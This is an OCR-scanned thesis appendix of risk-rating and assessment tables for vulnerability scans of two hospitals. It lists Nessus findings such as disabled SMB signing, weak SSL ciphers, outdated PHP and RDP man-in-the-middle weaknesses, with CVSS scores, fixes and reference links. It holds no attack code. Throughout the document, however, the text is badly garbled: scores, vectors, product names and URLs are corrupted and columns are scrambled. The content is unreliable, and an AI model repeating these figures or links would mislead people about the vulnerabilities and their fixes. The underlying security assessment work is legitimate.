AKX Protocol Server C:H/Au: 1 0.4 0.7 444 0.28 0.28 0.28 58 6.5 582
x13 Man-in-the-Middle NIC:P/I:
‘Weakness PIAP
CVSs2#
SSL Certificate AV:NIA
Signed using Weak C:HfAW: 1 0.4 07 444 0.28 0.28 (1] 445 6.5 5.15
Hashing Algorithm N/C:P/I:
PIACN
Microsofi Windows CVSs2#
XXKX Remote Deskiop AV:N/A
AKX Protocol Server C:H/Au: 1 0.4 0.7 444 028 0.28 0.28 58 6.5 582
x14 Man-in-the-Middle NIC:PI:
‘Weakness PIAP
CVSs2#
SSL Certificate AV:N/A
Signed using Weak C:H/Au: 1 0.4 0.7 444 028 0.28 0 445 6.5 515
Hashing Algorithm | N/C:P/I:
PIAN
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Table C-2 Risk Rating Hospital B (Cont.)

CVSs OWASP Likh Explo Busin New
Risk | D ek | oxvew |1 Vulnerability Cvss AV | AC | AU | iabili | C© 1 A | "™ | essim | 1mpa
Imp Vector pact
Rating Rating Imp v pact et
Microsoft
ok Windows Remote CVSSIHA
3 mediu 3 mediu Desktop Protocol VNFAC:H
m 22 m 22 x.x.;x Server Man-in- JARNICP 1 04 0.7 444 0.28 0.28 0.28 58 55 5.37
* the-Middle JLPIA:P
Weakness
Microsoft
_— Windows Remote CVSS2EA
Desktop Protocol VNFAC:H
xx;{; Server Man-in- JAUNICP 1 04 0.7 444 0.28 0.28 028 58 4 47
* the-Middle [1:P/AP
‘Weakness
Microsoft
ko x Windows Remote CVSSIHA
i Desktop Protocol | V:N/AC:H
x.x;;x Server Man-in- JAWNICP 1 04 0.7 444 0.28 0.28 028 58 5 515
5 the-Middle JLPIA:P
‘Weakness
CVSSZEA
XX SMBSigning | VN/ACL
31 2 high 32 x:)ltx Disabled JAUNICN 1 0.7 0.7 9 0 0.28 o 257 5 354
} JIPIAN
SSL Certificate xii?i
ﬁ;ihw-;mmc;g JAEN/CN 1 07 0.7 9 0 0.28 (1] 257 5 354
JEPIACN
Terminal Services ?stjzﬁ
Encryption Level M.‘AnNIC 1 0.6 0.7 173 0.28 1] o 257 5 354
is Medium or Low PINAN
[ CVSSZEA
i SMB Signing V:N/ACLL
x.x.lxlx Disabled JAUNICN 1 0.7 0.7 9 1] 0.28 o 257 6.5 4121
* JEPIAN
x Microsoft CVSSIEA
i Windows SMB V:N/ACL
x:.lx; NULL Session JAuNICP 1 0.7 0.7 9 0.28 0 o 257 6.5 4121
} Authentication EN/AN
ok Microsoft CVSSZEA
i Windows SMB V:N/ACLL
tx.lx]x NULL Session JARNICP 1 0.7 0.7 9 0.28 0 o 257 6.5 4121
. Authentication TEN/AN
CVSS2EA
SMB Signing VN/ACL
Disabled JAUNICN 1 0.7 0.7 9 0 0.28 o 257 6.5 4121
TEPIACN
SSL Certificate 5\:;123;
ﬁ;ihw-;r:j:g JAUNICN 1 0.7 0.7 9 0 0.28 o 257 6.5 4121
MPIAN
SSL Medium ?ﬁj:"
Strength Cipher M-‘AI.IN!C 1 06 0.7 173 0.28 0 1] 257 6.5 421
Suites Supported | NN
CVSS2EA
S5L Weak Cipher VNFAC:
Suites Supported MIAUNIC 1 0.6 0.7 173 0.28 0 o 257 6.5 4121
PNIAN
Terminal Services c\?’:fj:"
Eneryption Level M!AHN!C 1 0.6 0.7 173 0.28 0 o 257 6.5 4121
is Mediumor Low | s
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Table C-2 Risk Rating Hospital B (Cont.)

CVSS Likinx OWASP Lilih Explo Im Busin New
Risk ; +Risk | xNew | IP Vulnerability Cvss AV | AC | AU | iabiti | © 1 A essim | Impa
mp Vector pact
Rating Rating Imp ty pact et
o Microsoft CVSS2EA
3.mediu - Windows SMB | V:N/AC:L
3l 2hi 32 1 o7 07| 9 | o2 | o o | 257 | 65 | 421
m igh ":1": NULL Session | /AwN/C:P
Authenticati MNJAN
CVSS2EA
SMB Signing | V:N/AC:L
= e | 1|07 07| o o |02 | o |257| 65 | am
M:PIAN
SSL Certificate g\rﬁi?i
mH:;uw"r;:g e | 1|07 07| 9 o |02 | o |257| 65 | am
MPIAN
SSLMedium |
Swength Cipher | 0 |1 | 06 |07 | 773 | 028 | 0 0 | 257 | 65 | 4z
Suites Supported | py1njaN
CVSS2EA
SSL Weak Cipher | VNJAC:
Suites Supporied | Wawnic | | | 06 | 07 | 773 | 028 | 0 0 | 257 | 65 | 4m
PINIAN
Terminal Services a’v:?i#CA
Encryption Level | 2070 | 1 [ 06 (07 | 773 | 028 | 0 0 | 257 | 65 | 4
is Mediumor Low | by /AN
CVSS2EA
X SMBSigning | VN/ACL
xx_lxﬁx e e | 1|07 07| 9 o |02 | o |257| 65 | am
* JEPIAN
CVSS2EA
X SMBSigning | VAN/ACL
xi;x i | 1 o7 e | o o |02 | o |257| 55 | 37
M:PIAN
SSL Certificate sﬁfg‘:
\\:l:ISWmng e | 1|07 07| 9 o o2 | o |257| 55 | 376
i M:PIAN
CVSS2EA
Terminal Services VNJAC:
Encryption Level | oo | 1 | 06 (07 | 773 [ 028 | o 0o | 257 | 55 | 376
is Medium or Low PINIAN
AXKX ASPNET g\ﬁiﬁ’i
xuxx | DEBUGMethod | /W0 | 1| 07 |07 | 9 o o2 | o |257| 4 3.09
x33 Enabled T
CVSS2EA
SMB Signing | V:N/AC:L
- e | 1|07 07| 9 o |ox | o |257| 4 300
M:PIAN
CVSS2EA
Terminal Services V:NJAC:
Encryption Level | oo | 1 | 06 [ 07 | 773 [ 028 | 0 0o | 257 | 4 3.09
s Mediumor Low | by
o CVSS2EA
- SMB Signing | V:N/AC:L
x:_;sx o e | 1|07 07| o o |ox | o |257| s 3.54
NPIAN
SSL Certificate gﬁfg‘:
with Wrong e | 1|07 07| o o |ox | o |257| s 3.54
Hostname M:PIAN
CVSS2EA
Terminal Services VNJAC:
Encryption Level | FRAC |1 o (07 | 773 | 028 | o o | 257 | s 3.54
s Mediumor Low | by
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Table C-2 Risk Rating Hospital B (Cont.)

CVSS Lk OWASP Likh Chss Explo Im Busin New
Risk [_; + Risk New 1P Vulnerability Vector AV | AC | AU | itabili C I A " esslm Impa
Rating Rating. Imp ty pac pact ot
CVSS2HA
3 medi TR SSI Certificate | VANJACIL
um 32 2 high 32 xi}lua Cannot Be Trusted | JAWNIC:P 1 0.7 0.7 9 0.28 0.28 0 445 5 447
M:PIAN
CVSS2HA
SSL Self-Signed V:NFACL
Centificate JALN/C-P 1 0.7 0.7 9 0.28 0.28 0 445 5 447
M:PIACN
o CVSS2#A
SSL Certificate V:NFACL
x:_:t; Cannot Be Trusted | /AWNIC:P 1 0.7 0.7 9 0.28 0.28 0 445 6.5 515
M:PIAN
CVSS2#A
SSL Self-Signed V:N/AC:L
Centificate IAUNICP 1 0.7 0.7 9 0.28 0.28 0 445 6.5 515
M:PIAN
F X CVSS2#A
SSL Certificate V:N/AC:L
x:_::a Cannot Be Trusted | fAwN/C:P 1 0.7 0.7 9 0.28 0.28 0 445 6.5 515
M:PIAN
CVSS2#A
V:INFAC:L
Centificate IAUNIC-P 1 0.7 0.7 9 0.28 0.28 0 445 6.5 515
M:P/AN
. CVSS2#A
SSL Certificate V:N/ACL
xx;x Cannot Be Trusted TALN/C-P 1 0.7 0.7 9 028 0328 0 445 55 47
* MPIAN
CVSS2#A
SSL Self-Signed V:N/ACL
Centificate IAUNICP 1 0.7 0.7 9 0.28 0.28 0 445 55 47
M:PIAN
. CVSS2#A
SSL Certificate V:N/ACL
x:_;; Cannot Be Trusted JALN/C-P 1 0.7 0.7 9 028 0.28 0 445 4 4.02
M:PIACN
CVSS2#A
SSL Self-Signed V:NFAC:L
Certificate TAUNICP 1 0.7 0.7 9 0.28 0.28 0 445 4 4.02
M:P/AN
o3 CVSS2HA
SSL Certificate V:N/ACL
x:_;: Cannot Be Trusted | /AWNIC:P 1 0.7 0.7 9 0.28 0.28 0 445 5 447
M:P/AN
CVSS2HA
SSL Self-Signed V:NFACL
Certificate IAEN/C:P 1 0.7 0.7 9 0.28 0.28 0 445 5 447
M:PIAN
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Table C-2 Risk Rating Hospital B (Cont.)

CVss owasp | Likh Explo Busin | New
Likh: Cvss I
Risk ; * | +Risk | xNew P Vulnerability AV | AC | AU | iabili | © 1 A ™ | esslm | Impa
mp Vector pact
Rating Rating Imp ty pact ot
—_— CVSSIEA
4low n | P gy | x| SSLRCACEpher | VINIAGH | gy g7 | sas 028 | 0 o 257 s 354
m w1 Suites Supported TAWNIC:P
) JENFACN
Terminal Services CVSSIEA
Encryption Level VN/AC:H
i not FIPS-140 JAUNIC-P 1 04 | 07 444 0.28 ] 0 257 5 3.54
Compliant JENFACN
L/ TLS CVSSIEA
AKX Renegotiation VN/ACH
KKK Handshakes .FA‘u'N!C"N 1 04 | 07 444 0 028 0 257 6.5 421
x13 MiTM Plaintext .
- M:PIAN
Data Injection
CVSSZEA
SSLRCA Clpher | VNIACEH || gy | g7 | sas | 028 | o o | 257 | 65 | a2
Suites Supported TAWNIC:P
JENFACN
Terminal Services CVSS2EA
Encryption Level VNIAC:H
i not FIPS-140 JAWNIC-P 1 04 | 07 444 0.28 ] 0 257 6.5 421
Compliant JENFACN
SsL/ TLS CVSSIEA
ALK Renegotiation VNJAC:H
KK Handshakes IA-LI‘NIC-‘N 1 04 | 07 444 0 028 0 257 6.5 421
xl4 MiTM Plaintext e
. M:PIAN
Data Injection
CVSS2#A
SSLRCACipher | VINIACH | | gy | g7 | 444 | 028 | 0 0 | 257 | 65 | a2
Suites Supported TAWNIC:P
TIENFAN
Terminal Services CVSSIEA
Encryption Level VN/AC:H
i not FIPS-140 AUNIC-P 1 04 | 07 444 028 ] 0 257 6.5 421
Compliant JENFACN
CVSSIEA
BAX T SSLRCA Cipher | VAN/ACH
KK 3 i 1 3 1 04 | 07 444 0.28 ] 0 2.57 55 376
3 Suites Supported TAWNIC:P
) JENFACN
Terminal Services CVSE2#A
Encryption Level V:N/AC:H
i not FIPS-140 JAUNIC-P 1 04 | 07 444 028 ] 0 257 55 376
Compliant TENFAN
CVSSZEA
XSS RCA Cipher | VNIACH
KK X i . . 1 04 | 07 444 028 ] 0 2.57 4 3.09
13 Suites Supported fAwN/C:P
- NNIAN
Terminal Services CVSSIEA
Encryption Level VN/AC:H
i not FIPS-140 JAUNIC-P 1 04 | 07 444 0.28 ] 0 257 4 300
Compliant JENFACN
‘Web Server Uses CVSSH¥A
Plain Text VN/AC:H
Authentication JAUNIC:P 1 04 | 07 444 0.28 ] 0 257 4 300
Forms MENJACN
CVSSIEA
X SSLRCA Cipher | VNJACH
KK X » . ) 1 04 | 07 444 0.28 ] 0 2.57 5 354
38 Suites Supported TAuN/C-P
JENFACN
Terminal Services CVSSIEA
Encryption Level VN/ACH
i not FIPS-140 JAUNIC-P 1 04 | 07 444 0.28 ] 0 257 5 3.54
Compliant JENFACN
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APPENDIX D
RISK ASSESSMENT REPORT

1) Risk Assessment Report Hospital A
Table D-1 Risk Assessment Report Hospital A [CVSS Score] Factor

Risk Plugin metasploit_
Rating name 0s D pluginName sol ution e see_also i3
;?::::S Symantec Backup Apply the oy
1 o - -
o pluginl Exec for Windows appropriate hotfix hitp:/fwww symantec comfaveenter!
L.eritical pB S“E\:;::fem D:34820 Multiple referenced in the (blank) security/Content/2008. 11.19 html xi:x
Service Pack | Vulnerabilities vendor advisory.
Microsoft Upgrade 1o a x
Intran Windows pluginl PHP Unsupported version of PHP Jank hutps:/iwiki php.net/ric/releaseproce
et Server 2003 D:58987 Version Detection that is currently (blank) E ?lex
Service Pack 2 supported. ’
HP Syst: Upgrade to HP
A . PE Apache Reverse
Microsoft — Management System Bynass ALK
Windows ];Sgﬁl 1 Homepage < 7.0 Management Vul:em:!):l hitpfwww nessus.org/u?ad6 794 XXX
Server 2008 R2 | Multiple Homepage 7.0 or iy x25
N Scanner
Vulnerabilities later.
M_n.cmsaﬂ HP System Upgeade 1o HP Apache Reverse
Windows Juginl Management System B N XXX
Server 2008 R2 IE'S:;I 1 Homepage < 7.0 Management \-’ul:era:"):ls hitpfwww nessus.org/u?ad6 794 XXX
Enterprise ) Multiple Homepage 7.0 or Sea iy x25
Service Pack 1 Vulnerabilities later. ner
Microsoft Symantec Backup Apply the x
LIS Windows pluginl Exec for Windows appropriate hotfix (blank) http:/fwww symantec comfaveenter! -
Server 2003 D:34820 Multiple referenced in the security/Content/2008. 1119 himl X 100
Service Pack 2 Vulnerabilities vendor advisory.
hutpzfifwww php.net/Change Log-
Sphp#s 211
Intran ;{_',L::::: plugin PHP<52.11 Upgrade to PHP "tlpgmw'p"p'ﬁmm“ﬁ—l—] R
. i i - - .
Lhigh et Server2003 | D:41014 v IM "":f:i_ vers ml';;'z' tor (blank) http://news.php.net/php.internals/45 “:‘1“
Service Pack 2 uinerabiities - 597 *
hatpzifwww.php.net/ChangeLog-
S.php#5.2.11
http:/fwww php.netireleases/5 2 14
pinglal PHP 5.2<5.2.14 Upgrade to PHP piiwww.php Php” = xxex
48244 Mullupflg ) version 5.2.14 or (blank) http://wwiw.php. net/ChangeLog- ALXX
Vulnerabilities later. Il
S.php#5.2.14
hutp:/fxhe myxwikiorg/xwikifbin/vi
ew/XSLT/Application PHPS
hitp:/fwww. php.netfarchive/2012 ph
pHd2012-01-11-1
hutp:/farchives neohapsis comfarchi
by 012-01/0092 himl
) PHP <539 Upgrade to PHP ves/bugtrag/2 : XXX
pluginl . . Hashtable httpsffbugs php.nevbug php?id=55
Multiple version 5.3.9 or . XXXX
D:57537 . Collisions 475
Vulnerabilities later. . =11
https2ffbugs_php.netbug phpid=355
T76
hitps2ffbugs_php.net/bug php?id=353
502
hutpedfwww. php.net/ChangeLog-
5.php#5.3.9
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

Risk

metasploit

Rating name 0s pluginlD plug _name see_also 1P
httpfwww nessus_orgfu?el 144026
hitps:/fbugs. php.netbug php?id=61043
Microsoft https:/fbugs. php.netbug. php?id=54374
) : o
Windows ) PHP <5311 Upgrade to PHP htps:/fbugs.php.net/bug.php?id=60227
2 hi Intran Server pluginlD:S Multinle version 5.3.11 or (blank) http/mare infol?l=oss- KKK
-high et 2003 8966 vl El'l' I.nle- ) security&m=13462648 1806571 &w=2 ool
Service s * hittp://www.php net/archive/20 12 php#id
Pack 2 200 2-04-26-1
hup/iwww_php.net/ChangeLog-
5.php#5.3.11
hittp:feindbazen net2012/05/php-cgi-
advisory-cve-2012-1823/
Upgrade to PHP
Singing hiips:/fbugs php.net/bug. phpTid=61910
L vesion 33127 | pyp 0G1 | hup:fiwww.php.netfarchive/2012. phpiid
pluginlD:S | 542CGIQuery | S54.20rlater. A et P "’;‘;] NI Al ey
BORE String Code "mod_rewrite" Trg tion P YChangeLo xxx.11
Execution workaround is i piferare g o gelog
available as well 5-plip#3.3.12
! ) htp:/fwww_php.net/ChangeLog-
5.php#5.4.2
Microsoft HP System Upgrade 1w HP
. . Management System PHP CGI hitp/fwww nessus orgfu?54 1c7466
Windows pluginlD:5 . . XXX
Server 9851 Homepage < 7.1.1 Management Argument hutpfiwww security focus. comfarchive/1/ X125
2008 B2 Multiple Homepage 7.1.1 Injection 523320/30/0¢threaded )
Vulnerabilities or later.
HP System
HP System
Upgrade to HP Mana,
N e System n?eme
luginlD:6 Hor L .
plugin mep_age Management Anonymou hotpe/iwww nessus org/u?2db75ce oL
6541 7.2.0.14 iprange xXX.25
Y Homepage s Access
. 7.2.0.14 or later. Code
Execution .
Execution
PHP hutpfiwww . zerodayinitiative com/adviso
HP System Upgrade to HP apache_re P i 'e-s.rZI;;[l lll 2;«-
T 13-
pluginlD:6 E\c'!anagemen: 1 g qneset:ghesd hitp/fwww nessus orgfu?647212eb XA
9020 =l Tntpyefiweww X 75eR61a23 25
7.2.1.0 Multiple Homepage 7.2.1.0 Function e ne:ssus orgh . e
Vulnerabilities or later. Bufer | PUPHwww.sccuritylocus.comfarchivef1/
i S528723/30/0fthreaded
Owerflow
HP System
l:'[;:y‘:; Upgrade to HP ]"“":?em hitp:f/wwiw nessus org/u”81 eddefd
luginID:T Ho: e = System Ho hutp:ffwww nessus org/u?@bE1af8 9 —
gt . mepag ) Management mepage hutpiwww nessus.org/u?Ta%2bb )
o018 ginkgosnmp.ine JusiGetSN . . xxx.25
Command Homepage 7.2.2 MPQuete hutpfiwww securityfocus. comfarchive/1/
. i or later. S2R713/30/0fthreaded
Injection Command
Injection
Remove the
Microsoft service if it is no
Windows longer needed.
Server pluginlD:3 | Unsupported Web Otherwise, A NXX
LIS hlank’ lank
2003 460 Server Detection upgrade to a ( ) ® ) xxx.100
Service newer version il
Pack 2 possible or switch
to another server.
N Oracle TNS Apply the work- httpfiwww. nessus org/u?eddSeclb
| 1D:6 .
R Listener Remote | around in Oracle’s |  (blank) hitp/fwww.nessus.org/u? feaedSh e
Poisoning advisory. httpeffwww. nessus.org/u?29d9db9b .
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

Risk ) metasploit
Rating name 0s pluginlD pluginName solution _name see_also P
N . . Purchase or generate a
3 mediu _ pluginiD:5 SSL Certificate N . KKK
DB certifi fior this lank blank’
m Micrnsofl 1192 Cannot Be Trusted | Proper cerhicate for (blank) (blank) 0035
Windows Service.
Server . . Purchase or generate a
pluginlD:5 S5L Self-Signed _ . AN
2003 certifi fior this lank hlank’
: 7582 Certificate peopar certiticate for (blank) (blank) 0035
Microsoft SEFVICE.
Windows Enforce message signing
Vista in the host's
Microsoft configuration. On .
Windows Windows, this is found in Mlpffswml-g:;saﬂcmwk
Server the policy setti
. o g htip:technet microsofi.comfen
2008 b _usflibrary/ceT31957 aspx
M it luginlD:5 SMB Signi = ; .
orasoil |l Pgem SSEILE e (blank) | Buiptiwww nessus.orgh?TdbE | oo
Windows TROR Required Digitally sign 013 ey 35
7 jcati
) communications http:/fwww.samba.org/samba/d
Microsoft (always)". ocs/manimans .
Windows On Samba, the setting is pge
- 3fsmb.conf.5 huml
Server called 'server signing'. See
2008 R2 the "see alsa” links for
further details.
Enforce message signing
in the host's
w_mnﬁgn:il;oi:.fo(:;ld in http:/fsuppon. microsofcomk
Microsoft "'dm" g'l_ . b/887429
Windows e palicy seting hitp:/fiechnetmicrosofi.com/en
"Microsoft network
gEeTver luginlD:5 SME Signin, server: s/ HraryfceT3 17 spx AXCKXK
20082 | P gning - (blank) | hitps/www.nessus.orgfu?74b8 -
. 7608 Required Digitally sign 3
g = conmmimnications 0723
Service (always). hitp:/fwww samba.org/samba/d
Pack 1 . . ocs/man/manpages-
o o e 3smb.cont 5 himl
called 'server signing’. See
the "see alsa” links for
further details.
Mic it Mak that DEBUG
£ W":::::-s luginlD:3 RENEL slalen:e!:::m disabled or EEEEpppocticrosdf XK
Servi ! plug! DEBUG Method {blank) efault. aspxTscid=kh;en- .
e Server 3270 Enabled only usable by ws-R15157 *xx.25
2008 R2 authenticated users. !
In the PHP configuration
file, php.ini, set the value
it Ophp.comiph; 1
HginiD-4 PHP expose_php for ‘'expose_php' 1o "0 P wm: 0: FL: P R
L gém j Infarmation 1o disable this behavior. (Glank) | ﬂmm'; g;"wsm o
Disclosure Restart the web server P ) 1304 P ’
daemon to put this change 4
into effect.
phpMyAdmin
34x<348 Either apply the vend,
. * - L vl O hutpfiwww phpmyadmin neth
pluginlD:5 Cross-Site patches or upgrade to (blak) ome_pagefsecurityPMASA- HAKKHAL.
7337 Seripting phpMyAdmin version —pa s ¥ *xxx.25
(PMASA-2011- 3.4.8 or later. 18.php
18)
phpMyAdmin
Iy the vendor patche
shuginlis | F4x<34101 App ym u“ 1? ches hiip/www.phpmyadmin.neth |
RORT Cras_s—sne phpMyAdmin version (blank) ome_page/security/PMASA- 25
Scripting 14101 or later 2012-1.php
(PMASA-2012-1) T -




Surapol Ruaysungnoen Appendices / 124
Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)
R?::g name 0s Pl::]gln pluginName solution mf'::::h see_also P
3mediu £ pluginl ASP-NET DEBLITI?]k:lsatl:ememm: are huip:/fsuppont. microsoft. com/defanltas | xxxxxx
m S?:I D:33270 DEB;;:::‘M disabled or only usable (blank) px7scid=kbien-us;8 15157 xxx.25
by authenticated users.
In the PHP
configuration file,
php.ini, set the value htps/fwww Ophp com/php_easter egg.
Microso pluginl = I:;;‘“T;eh{hp for 'expose_php' o 'OfF (blank) php AANKHAL.
it D:46803 Disclosure to disable this behavior. hutpiseclists.org/webappsec/2004/ g4/ *ux.25
Window Restart the web server 324
5 Server daemon to put this
2008 R2 change into effect.
Enterpri phpMyAdmin
s 14x=348 Either apply the vendor
Service pluginl Cross-Site paiches or upgrade to (blank) hitp:lfwww.phpmyadmin nethome pa | xxxxxx.
Pack 1 D:57337 Scripting phpMyAdmin version gelsecurity/PMASA-2011-18.php *xxx.25
(PMASA-2011- 348 or later.
18)
hpMy Admin
ix<s101 Apply the vendor
pluginl Cross-Site patches or upgrade to (blank) hup:/fwww phpmyadmin nethome pa | XXNKNX
D:58087 Scripting phpMyAdmin version gelsecurity/PMAS A-2012-1 php xxx.25
(PMASA-2012-1) 3.4.10.1 or later.
Web Server
Intran : pluginl info.php / Remove the affected AANN.
et M*“:'“ D:11229 phpinfo.php fille(s). (blanky (blarik) w11
_ Detection
?S“;":: http/inews. php.netphp. internals/A276
2
2003 X PHP <529
Service pluginl Muliiple Upgmde o PHP (blank) hup/fwww php.netfreleases/5_2_9.ph ALK
Pack 2 D:35750 Vulnerabilities version 5.2.9 or later. i ool
hitp/fwww php.netChangeLog-
S php#5.2.9
hitp://bugs. php netbug phptid=4599T
PHP <5.2.10 htp:/fbugs php netvbug php?id=48378
pluginl Multiple Upgrade o PHP (blank) hupafwww php netfreleases(5 2 10p | 00K
D:39480 Vulnerabilities version 5.2.10 or later. hp oo
hitp/iwww php. net/ChangeLog-
S php#5.2.10
hitp:/fwww.nessus.org/u?5TR2d0BT
plugin PHP <52.12 Upgrade to PHP hup/fwww.php.nevireleases/S 2 12p |
D-43351 Multiple version 5.2.12 or later. (blank) hp xxx 11
Vulnerabilities hutpediwww php.net’ChangeLog-
S.php#s.2.12
hitp://securityreason comfachievement
_securityaleri/82
hitp:/securityreason.com/securityalert/
TOOR
hutp:ifarchives neohapsis com/farchives
e e o T |
D-44921 5.2.13 Multiple version 5.3.2/52.13 or (blank) b == ol
Vulnerabilities later.
hiip:/fwww php.net/ChangelLog-
5.php#5.3.2
hup/fwww.php.netireleases/S 2 13.p
hp
hutpediwww php.net’ChangeLog-

5.php#5.2.13
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

Rl::l:g name 0s ”:3]. pluginName solution mj:g:m see_also i
Microso
fi
3medin | Intran f;m: plugin P"P;fn?pfe'z'ls Upgrade to PHP (blank) hitp:/fwww.php.netireleases/S 2_15.php f:;:
m el 2003 D:51139 Vulnerabilities version 5.2.15 or later. httpeffwww. php.net/Changel og-5.php#5.2.15 <1
Service
Pack 2
phpMyAdmin
pluginl error.php BBeode I h:]p‘f:::? 40 (blank) hup/fwww. phpmyadmin. netthome_pagefsecu ::};:
D:51425 Tag XSS S . ] rity/PMASA-2010-9.php -
(PMASA-2010-9) . ’
. D=
i 11 hllphjl;:{::ﬁ:25:2?;:;;1:351323;536 XX
pluginl | 53535 String Upgrade to PHP (blask) & 30w - -
D:51439 To Double 5.2.17/53.5 or later.
Conversion DoS hitpeffwww. php.netireleases/5 2 17 php 11
https/fwww. php netreleases/5 35 php
For Windows systems,
upgrade to version 6.5,
7.0, o 7.1 (if
Dell OpenManage necessary) and apply
pluginl Server the appropriate patch hutpeffwww nessus orgfu?e34e 7440 ANNX
D:62974 Admmi_mnlur referenced in US- (blank) http/fwww. nessus orgfu?5 78eable AKX
omalogin html CERT VU#558132. htpedfwww. nessus.orgfu?] Shidie =11
DOM-based X85
For Linux systems,
there is no known
solution at this time.
Apply the following
registry changes per the
referenced Technet
advisories :
Set :
HKLM\SYSTEM\Curr
entControlSetControl\
LSA\RestrictAnonymo
Microso "

Win'thw Microsoft HKIM\SYSTEM\Curr http:/fsupportmicrosofi.com/kbiq 143474/ .
< Server pluginl Windows SMB entControlSet\Services\ (blank) http:fsupportmicrosofi. com/kbin24626 1/ .
2003 D:26920 NULL Sfess_im lnnrmr!smeﬂpmrnele hnpjflethnel_rrdcrasuﬂ.wnﬁen- <1
Sarvice Autt ation rsrestrict 'I' us/library/ee TRSS69(W S 10).aspx

Packg Remove BROWSER
from :
HKLM\SYSTEM\Curr
entControlSet\Services\
lanmanserver\paramete
rs\NullSessionPipes
Reboot once the
registry changes are
complete.
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)
R:::g name | ©S P';gj" PluginName Solution “:ﬁ.:]:" See_also P
Enforce message
signing in the host's
configuration. On
Windows, this is found
Microso ﬁ{m‘:ﬁ:::f hitp/fsupport. microsof.comAb/S8T429
Imedin | 1 f nginl SME Signi i mp:;gm}mm:mﬂ_
medin nitran . pluginl igning - 5 i fee aspx KKA KK
m el :v;:a:; D:57608 Required mn;m]i’::ﬁ; (blark) http//www.nessus. org/u?74b80T23 o 25
, hutp fifwww_samba orgfsamba/docs/man/
2008 R2 (always). . manpages-3/smb._conf.5 himl
On Samba, the setting
is called 'server
signing’. See the see
also’ links for further
details.
hitp:archives nechapsis com/archives/fu
pluginl M;:SL“:;;:‘:“' There is oo known o ¥ isoloswre/ 2010, 12/0010 bna XXLXXL
D:64263 . solution at this time. hueps:ffmariadb_atlassian netbrowse/MD xxx.25
Enumeration
EV-3509
HP Sysiem
pluginl Management Upgrade 1o HP System httpffwww nessus.orglu?ecic bS8 ——
D-77959 Homepage < 7.3 Management (blank) hittpz/fwww. security focus comfarchive/1/ 25
Multiple Homepage 7.3 or later. 531406/30/0fthreaded
Vulnerabilities
Enforce message
signing in the host's
configuration. On
Microso Windows, this is found
Wifiw ";{m;c:rw':f http/fsupport.microsofcomAkb/887429
< Server ) % R erver hup::‘he_rhn.et.nﬁcmsnﬂ.wnfen-
2008 R2 pluginl SMB Signing Digitally sign (blank) us/library/cc 731957 aspx XXX XXX,
Enterpti D:57608 Required | 0 hutp:ffwww nessus_org/u?74b80723 xxx.25
s hutp fwww_samba orgfsamba/docs/man/
5 (always). manpages-3/smb_conf3 himl
Service On Samba, the setting
Pack 1 is called "server
signing'. See the 'see
also’ links for further
details.
hitp:iarchives neohapsis. com/archives/fu
phugin Mﬁ:ﬁ:‘:‘" There is 0o known i B B o 20121200010 ks XXX
D:64263 -y solution at this time. hitps-ffmariadb_atlassian nei/browse/MD xxx.25
Enumeration
EV-3909
HP System
pluginl Management Upgrade 1w HP System hup/fwww.nessus.org/u?ec3clb5E —_—
D:71959 Homepage < 7.3 Management (blank) http:/fwww.securityfocus comfarchive/1/ w25
Multiple Homepage 7.3 or later. 531406/ 30/0fthreaded
Vulnerahbilities
Microso Indusofi
ft Web Server Contact the vendor for WebSwdio
Window - Direciory an update, use a NTWebSe
LIS s Server [‘;];.32';[] Traversal different product, or rver (blank) :;:’;::;
2003 Arbitrary File disable the service Remote
Service Access altogether. File
Pack 2 Access
Multiple Server
Crafied Request
luginl WEB-INF Contact the vendor for XAA XXX,
I‘),'.l 503‘? Directory a patch. (blank) (blank) xx 100
Information
Disclosure
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

l::::g name 0s P]Iu]gl.n PluginName Solution h:j::::l see_also IP
- Force the use of SSL as
a transport layer for this
Microso service if' s .
ft Microsoft Windows mungpuﬂsi htp: ’“m"""g:i;‘;‘;w"m
J.mediu Window pluginl Remote Deskiop - Select the “Allow hltpfm'ww?_msm.nryum XXX XXX.
LIS s Server Protocol Server Man- connections only from (blank)
m 2003 D:18405 in-the-Middle COmMpUlers running 6230‘,36 w100
N N http:/technet microsofi.com/
Service Weakness Remote Deskiop with en-usflibrary/ce782610.aspx
Pack 2 Network Level
Authentication® setting if
it is available.
Reconfigure the affected
pluginl SSL Weak Cipher application, if possible o (blank) htpfwww opensslorgidocs | 000X
D:26928 Suites Supported avoid the use of weak fapps/ciphers. himl xxx. 100
ciphers.
JBoss Enterprise -
. Applimiun:rlilfurm Upgrade to TBoss EAP hitps-/fbugzilla.redhat.com/s
Pluginl | \P) Status Serviet version 4.2.0.CP09 / (blank) how_bug cgi?id=457757 | xouxor
D:33869 hips:f/bugzilla redhat.comfs | xooc 100
Request Remote 43.0.CP08. how_bug cgi%id=585900
Information Disclosure -
hitpfiools. ietConghimliric3
279
pluginl SSL Cenificate Signed Contact the Certificate hitp:/fwww phreedom.orgire —
D-35291 using Weak Hashing Authority to have the (blank) searchirogue-cal e 100
Algorithm certificate reissued. hup:fhechnet microsoft.com/
en-
usfsecurity/advisory/96 1509
pluginl S0 Mediu.m Smﬁﬂ' E:::jf:ﬁm:::‘;: NN
D:42873 cg:;i’;dm avoid use of medium (blank) (blank) 3002100
strength ciphers.
. 5 Purchase or generate a
gy | St | o st i | ot N b
service.
. e Purchase or generate a
g:];,f’s‘;; ss}e:g;‘im proper certificate for this | (blank) (blank) i":‘;ﬁ)
service.
) Terminal Services Aoepe ROE encryptical
plugial Encryption Level is fvel to onc of (blank) (blank) AL XX
D:57650 . 1. High . 100
Medium or Low .
4. FIPS Compliant
Enforce message signing
Microso iy h_ast's hitp://support microsofi.com
fi . cunﬁgum_nr.:m. On . /kb/88T429
Window Vendaws; I.I"S i ﬁ:umi " hutp:/fiechnet microsoft.com/
s Server . |he policy setting en-us/library/cc 731957 aspx
pacs | 2008 | PUB | oI Siening Required RER08CN netwnrk (blank) | httpsiwww.nessus.orghi?74 | Lo
Enterpri D:57608 SeTver: Dlg_umll_y sign e k. 146
se (ah'::sT:::::bt e hitp:fiwww samba org/samb
Service setting is called 'server a/docs/man/manpages-
Pack 2 signing’. See the ‘e also" s conf. 5 himl
links for further details.
Enforce message signing
